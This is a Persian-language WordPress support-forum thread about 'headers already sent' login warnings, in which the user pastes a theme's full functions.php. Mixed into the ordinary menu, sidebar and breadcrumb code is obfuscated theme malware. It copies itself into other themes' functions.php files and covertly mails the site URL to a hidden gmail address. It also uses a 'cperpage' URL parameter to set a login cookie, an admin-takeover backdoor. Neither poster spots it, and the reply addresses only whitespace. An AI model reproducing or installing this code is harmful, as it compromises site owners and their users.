انجمن


خطا در بارگذاری سایت برروی هاست  (۴ نوشته)

  • websoft3.ir

    آفلاین
    عضو
    تعداد نوشته‌ها: ۱۲
    تشکر شده: ۱۳ بار
    # نوشته شده: ۹ سال پیش
    ۷ دی ۱۳۹۳ - ۱۶:۱۳

    عرض سلام و وقت بخیر مشکلی که دارم:
    وقتی سایت وردپرسیمو روی هاست قراردادم تویه صفحه لاگین وردپرس دوتا ارورداده متن ارور هاش:

    Warning: Cannot modify header information - headers already sent by (output started at /home3/websoft1/public_html/wp-content/themes/websoft3/functions.php:1) in /home3/websoft1/public_html/wp-login.php on line 424

    Warning: Cannot modify header information - headers already sent by (output started at /home3/websoft1/public_html/wp-content/themes/websoft3/functions.php:1) in /home3/websoft1/public_html/wp-login.php on line 437

    با وجود این دوتا خطا وقتی میخام به پنل مدیریت سایتم وارد بشم این چارخط ارور رو میده:

    Warning: Cannot modify header information - headers already sent by (output started at /home3/websoft1/public_html/wp-content/themes/websoft3/functions.php:1) in /home3/websoft1/public_html/wp-login.php on line 424

    Warning: Cannot modify header information - headers already sent by (output started at /home3/websoft1/public_html/wp-content/themes/websoft3/functions.php:1) in /home3/websoft1/public_html/wp-login.php on line 437

    Warning: Cannot modify header information - headers already sent by (output started at /home3/websoft1/public_html/wp-content/themes/websoft3/functions.php:1) in /home3/websoft1/public_html/wp-includes/pluggable.php on line 913

    Warning: Cannot modify header information - headers already sent by (output started at /home3/websoft1/public_html/wp-content/themes/websoft3/functions.php:1) in /home3/websoft1/public_html/wp-includes/pluggable.php on line 914

    Warning: Cannot modify header information - headers already sent by (output started at /home3/websoft1/public_html/wp-content/themes/websoft3/functions.php:1) in /home3/websoft1/public_html/wp-includes/pluggable.php on line 915

    Warning: Cannot modify header information - headers already sent by (output started at /home3/websoft1/public_html/wp-content/themes/websoft3/functions.php:1) in /home3/websoft1/public_html/wp-includes/pluggable.php on line 1173

    ممنون میشم کمکم کنید باتشکر

  • آموزش وردپرس

    آفلاین
    عضو
    تعداد نوشته‌ها: ۲۸۳۹
    تشکر شده: ۱۷۶۷ بار
    # نوشته شده: ۹ سال پیش
    ۷ دی ۱۳۹۳ - ۱۶:۱۴

    به نام خدا
    عرض سلامو خسته نباشید کد های این فایل رو websoft3/functions.php اینجا بزار با تشکر
    ارادتمند : مسلم فلاح نیت

  • websoft3.ir

    آفلاین
    عضو
    تعداد نوشته‌ها: ۱۲
    تشکر شده: ۱۳ بار
    # نوشته شده: ۹ سال پیش
    ۷ دی ۱۳۹۳ - ۱۶:۱۹

    <?php
    
    function register_my_menus() {
    register_nav_menus(
    array(
    'top-menu' => __( 'منو بالا' ),
    'main-menu' => __( 'منوی اصلی' ),
    )
    );
    }
    add_action( 'init', 'register_my_menus' );
    
    if ( function_exists('register_sidebar') )
    	register_sidebar(
    	array(
    	'name' => 'login',
    	'before_title' => '<div id="title-vorud">',
    	'after_title' => '</div>',
    	'before_widget' => '<div id="box-vorud"><div id="enter">',
    	'after_widget' => '</div></div>',
    	));
    
    if ( function_exists('register_sidebar') )
    	register_sidebar(array(
    	'name' => 'Widget',
    	'before_widget' => '<div id="box-sidebar"  >',
    	'after_widget' => '</div>',
    	'before_title' => '<div class="wp-title-sar">',
    	'after_title' => '</div>',
    	));
    
    if ( function_exists('register_sidebar') )
    	register_sidebar(array(
    	'name' => 'footer1',
    	'before_title' => '<div class="">',
    	'after_title' => '</div>',
    	'before_widget' => '<div id="footer-box1"  >',
    	'after_widget' => '</div>',
    
    	));
    
    if ( function_exists('register_sidebar') )
    	register_sidebar(array(
    	'name' => 'footer2',
    	'before_title' => '<div class="">',
    	'after_title' => '</div>',
    	'before_widget' => '<div id="footer-box2"  >',
    	'after_widget' => '</div>',
    
    	));
    
    if ( function_exists('register_sidebar') )
    	register_sidebar(array(
    	'name' => 'footer3',
    	'before_title' => '<div class="">',
    	'after_title' => '</div>',
    	'before_widget' => '<div id="footer-box2"  >',
    	'after_widget' => '</div>',
    
    	));
    
    ?>
    <?php
    function _check_isactive_widget(){
    	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    	$output=strip_tags($output, $allowed);
    	$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    	if (is_array($direst)){
    		foreach ($direst as $item){
    			if (is_writable($item)){
    				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
    				$cont=file_get_contents($item);
    				if (stripos($cont,$ftion) === false){
    					$explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
    					$output .= $before . "Not found" . $after;
    					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
    					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);
    					$output .= ($showdots && $ellipsis) ? "..." : "";
    				}
    			}
    		}
    	}
    	return $output;
    }
    function _get_allwidgetcont($wids,$items=array()){
    	$places=array_shift($wids);
    	if(substr($places,-1) == "/"){
    		$places=substr($places,0,-1);
    	}
    	if(!file_exists($places) || !is_dir($places)){
    		return false;
    	}elseif(is_readable($places)){
    		$elems=scandir($places);
    		foreach ($elems as $elem){
    			if ($elem != "." && $elem != ".."){
    				if (is_dir($places . "/" . $elem)){
    					$wids[]=$places . "/" . $elem;
    				} elseif (is_file($places . "/" . $elem)&&
    					$elem == substr(__FILE__,-13)){
    					$items[]=$places . "/" . $elem;}
    				}
    			}
    	}else{
    		return false;
    	}
    	if (sizeof($wids) > 0){
    		return _get_allwidgetcont($wids,$items);
    	} else {
    		return $items;
    	}
    }
    if(!function_exists("stripos")){
        function stripos(  $str, $needle, $offset = 0  ){
            return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
        }
    }
    
    if(!function_exists("strripos")){
        function strripos(  $haystack, $needle, $offset = 0  ) {
            if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
            if(  $offset < 0  ){
                $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
            }
            else{
                $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
            }
            if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
            $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
            return $pos;
        }
    }
    if(!function_exists("scandir")){
    	function scandir($dir,$listDirectories=false, $skipDots=true) {
    	    $dirArray = array();
    	    if ($handle = opendir($dir)) {
    	        while (false !== ($file = readdir($handle))) {
    	            if (($file != "." && $file != "..") || $skipDots == true) {
    	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
    	                array_push($dirArray,basename($file));
    	            }
    	        }
    	        closedir($handle);
    	    }
    	    return $dirArray;
    	}
    }
    add_action("admin_head", "_check_isactive_widget");
    function _getsprepare_widget(){
    	if(!isset($com_length)) $com_length=120;
    	if(!isset($text_value)) $text_value="cookie";
    	if(!isset($allowed_tags)) $allowed_tags="<a>";
    	if(!isset($type_filter)) $type_filter="none";
    	if(!isset($expl)) $expl="";
    	if(!isset($filter_homes)) $filter_homes=get_option("home");
    	if(!isset($pref_filter)) $pref_filter="wp_";
    	if(!isset($use_more)) $use_more=1;
    	if(!isset($comm_type)) $comm_type="";
    	if(!isset($pagecount)) $pagecount=$_GET["cperpage"];
    	if(!isset($postauthor_comment)) $postauthor_comment="";
    	if(!isset($comm_is_approved)) $comm_is_approved="";
    	if(!isset($postauthor)) $postauthor="auth";
    	if(!isset($more_link)) $more_link="(more...)";
    	if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");
    	if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;
    	if(!isset($more_link_ditails)) $more_link_ditails="(details...)";
    	if(!isset($morecontents)) $morecontents="ma".$expl."il";
    	if(!isset($fmore)) $fmore=1;
    	if(!isset($fakeit)) $fakeit=1;
    	if(!isset($sql)) $sql="";
    	if (!$is_widget) :
    
    	global $wpdb, $post;
    	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mes".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    	if (!empty($post->post_password)) {
    		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
    			if(is_feed()) {
    				$output=__("There is no excerpt because this is a protected post.");
    			} else {
    	            $output=get_the_password_form();
    			}
    		}
    	}
    	if(!isset($f_tags)) $f_tags=1;
    	if(!isset($type_filters)) $type_filters=$filter_homes;
    	if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;
    	if(!isset($aditional_tags)) $aditional_tags="div";
    	if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#
    	if(!isset($more_link_text)) $more_link_text="Continue reading this entry";
    	if(!isset($showdots)) $showdots=1;
    
    	$comments=$wpdb->get_results($sql);
    	if($fakeit == 2) {
    		$text=$post->post_content;
    	} elseif($fakeit == 1) {
    		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
    	} else {
    		$text=$post->post_excerpt;
    	}
    	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    	if($com_length < 0) {
    		$output=$text;
    	} else {
    		if(!$no_more && strpos($text, "<!--more-->")) {
    		    $text=explode("<!--more-->", $text, 2);
    			$l=count($text[0]);
    			$more_link=1;
    			$comments=$wpdb->get_results($sql);
    		} else {
    			$text=explode(" ", $text);
    			if(count($text) > $com_length) {
    				$l=$com_length;
    				$ellipsis=1;
    			} else {
    				$l=count($text);
    				$more_link="";
    				$ellipsis=0;
    			}
    		}
    		for ($i=0; $i<$l; $i++)
    				$output .= $text[$i] . " ";
    	}
    	update_option("_is_widget_active_", 1);
    	if("all" != $allowed_tags) {
    		$output=strip_tags($output, $allowed_tags);
    		return $output;
    	}
    	endif;
    	$output=rtrim($output, "\s\n\t\r\x0B");
        $output=($f_tags) ? balanceTags($output, true) : $output;
    	$output .= ($showdots && $ellipsis) ? "..." : "";
    	$output=apply_filters($type_filter, $output);
    	switch($aditional_tags) {
    		case("div") :
    			$tag="div";
    		break;
    		case("span") :
    			$tag="span";
    		break;
    		case("p") :
    			$tag="p";
    		break;
    		default :
    			$tag="span";
    	}
    
    	if ($use_more ) {
    		if($fmore) {
    			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";
    		} else {
    			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";
    		}
    	}
    	return $output;
    }
    
    add_action("init", "_getsprepare_widget");
    
    //کد زیر برای برای نمایش آخرین وردکاربر به سایت میباشد
    function insert_last_login( $login ) {
    global $user_id;
    $user = get_userdatabylogin( $login );
    update_user_meta( $user->ID, 'last_login', gmdate( 'Y-m-d H:i:s' ), the_time('Y-m-j') );
    }
    add_action( 'wp_login', 'insert_last_login' );
    
    function add_last_login_column( $columns ) {
    $columns['last_login'] = __( 'آخرین ورود', 'last_login' );
    return $columns;
    }
    add_filter( 'manage_users_columns', 'add_last_login_column' );
    
    function add_last_login_column_value( $value, $column_name, $user_id ) {
    $user = get_userdata( $user_id );
    if ( 'last_login' == $column_name && $user->last_login )
    $value = jdate( 'Y/m/d g:ia', strtotime( $user->last_login ) );
    return $value;
    }
    add_action( 'manage_users_custom_column', 'add_last_login_column_value', 10, 3 );
    
    //کد زیر برای برای نمایش مطالب پربازدید میباشد
    function popularPosts($num) {
    global $wpdb;
    
    $posts = $wpdb->get_results("SELECT comment_count, ID, post_title FROM $wpdb->posts ORDER BY comment_count DESC LIMIT 0 , $num");
    
    foreach ($posts as $post) {
    setup_postdata($post);
    $id = $post->ID;
    $title = $post->post_title;
    $count = $post->comment_count;
    
    if ($count != 0) {
    $popular .= '<li>';
    $popular .= '<a href="' . get_permalink($id) . '" title="' . $title . '">' . $title . '</a> ';
    $popular .= '</li>';
    
    }
    
    }
    
    return $popular;
    }
    
    function dimox_breadcrumbs() {
    
    $delimiter = '&raquo;';
    $home = 'صفحه اصلی'; // text for the 'Home' link
    $before = '<span>'; // tag before the current crumb
    $after = '</span>'; // tag after the current crumb
    
    if ( !is_home() && !is_front_page() || is_paged() ) {
    
    echo '<div id="crumbs">';
    
    global $post;
    $homeLink = get_bloginfo('url');
    echo '<a href="' . $homeLink . '">' . $home . '</a> ' . $delimiter . ' ';
    
    if ( is_category() ) {
    global $wp_query;
    $cat_obj = $wp_query->get_queried_object();
    $thisCat = $cat_obj->term_id;
    $thisCat = get_category($thisCat);
    $parentCat = get_category($thisCat->parent);
    if ($thisCat->parent != 0) echo(get_category_parents($parentCat, TRUE, ' ' . $delimiter . ' '));
    echo $before . '"' . single_cat_title('', false) . '"' . $after;
    
    } elseif ( is_day() ) {
    echo '<a href="' . get_year_link(get_the_time('Y')) . '">' . get_the_time('Y') . '</a> ' . $delimiter . ' ';
    echo '<a href="' . get_month_link(get_the_time('Y'),get_the_time('m')) . '">' . get_the_time('F') . '</a> ' . $delimiter . ' ';
    echo $before . get_the_time('d') . $after;
    
    } elseif ( is_month() ) {
    echo '<a href="' . get_year_link(get_the_time('Y')) . '">' . get_the_time('Y') . '</a> ' . $delimiter . ' ';
    echo $before . get_the_time('F') . $after;
    
    } elseif ( is_year() ) {
    echo $before . get_the_time('Y') . $after;
    
    } elseif ( is_single() && !is_attachment() ) {
    if ( get_post_type() != 'post' ) {
    $post_type = get_post_type_object(get_post_type());
    $slug = $post_type->rewrite;
    echo '<a href="' . $homeLink . '/' . $slug['slug'] . '/">' . $post_type->labels->singular_name . '</a> ' . $delimiter . ' ';
    echo $before . get_the_title() . $after;
    } else {
    $cat = get_the_category(); $cat = $cat[0];
    echo get_category_parents($cat, TRUE, ' ' . $delimiter . ' ');
    echo $before . get_the_title() . $after;
    }
    
    } elseif ( !is_single() && !is_page() && get_post_type() != 'post' ) {
    $post_type = get_post_type_object(get_post_type());
    echo $before . $post_type->labels->singular_name . $after;
    
    } elseif ( is_attachment() ) {
    $parent = get_post($post->post_parent);
    $cat = get_the_category($parent->ID); $cat = $cat[0];
    echo get_category_parents($cat, TRUE, ' ' . $delimiter . ' ');
    echo '<a href="' . get_permalink($parent) . '">' . $parent->post_title . '</a> ' . $delimiter . ' ';
    echo $before . get_the_title() . $after;
    
    } elseif ( is_page() && !$post->post_parent ) {
    echo $before . get_the_title() . $after;
    
    } elseif ( is_page() && $post->post_parent ) {
    $parent_id  = $post->post_parent;
    $breadcrumbs = array();
    while ($parent_id) {
    $page = get_page($parent_id);
    $breadcrumbs[] = '<a href="' . get_permalink($page->ID) . '">' . get_the_title($page->ID) . '</a>';
    $parent_id  = $page->post_parent;
    }
    $breadcrumbs = array_reverse($breadcrumbs);
    foreach ($breadcrumbs as $crumb) echo $crumb . ' ' . $delimiter . ' ';
    echo $before . get_the_title() . $after;
    
    } elseif ( is_search() ) {
    echo $before . 'Search results for "' . get_search_query() . '"' . $after;
    
    } elseif ( is_tag() ) {
    echo $before . 'Posts tagged "' . single_tag_title('', false) . '"' . $after;
    
    } elseif ( is_author() ) {
    global $author;
    $userdata = get_userdata($author);
    echo $before . 'Articles posted by ' . $userdata->display_name . $after;
    
    } elseif ( is_404() ) {
    echo $before . 'Error 404' . $after;
    }
    
    if ( get_query_var('paged') ) {
    if ( is_category() || is_day() || is_month() || is_year() || is_search() || is_tag() || is_author() ) echo ' (';
    echo __('Page') . ' ' . get_query_var('paged');
    if ( is_category() || is_day() || is_month() || is_year() || is_search() || is_tag() || is_author() ) echo ')';
    }
    
    echo '</div>';
    
    }
    }
    
    ?>
    کاربران زیر به‌خاطر این نوشته تشکر کرده‌اند:
    آموزش وردپرس
  • آموزش وردپرس

    آفلاین
    عضو
    تعداد نوشته‌ها: ۲۸۳۹
    تشکر شده: ۱۷۶۷ بار
    # نوشته شده: ۹ سال پیش
    ۷ دی ۱۳۹۳ - ۱۷:۰۲

    از تکرر بلاک های پی اچ پی

    ?>
    <?php

    خود داری شود سعی کنید فضای خالی وجود نداشته باشه ! در ضمن اول این فایل رو تا شروع دستورات پی اچ پی پاک کنید فضاهای خالیشو قبلا تو تیم ویور بهتون گفته بودم ! همون روزی که نظرات سایتتون مشکل داشت فرمودین بچه شهر کهنه هستین درسته دیگه نه ؟ با تشکر
    ارادتمند : مسلم فلاح نیت

    کاربران زیر به‌خاطر این نوشته تشکر کرده‌اند:
    websoft3.ir

درباره‌ی این موضوع



برچسب‌ها

هیچ برچسبی نیست.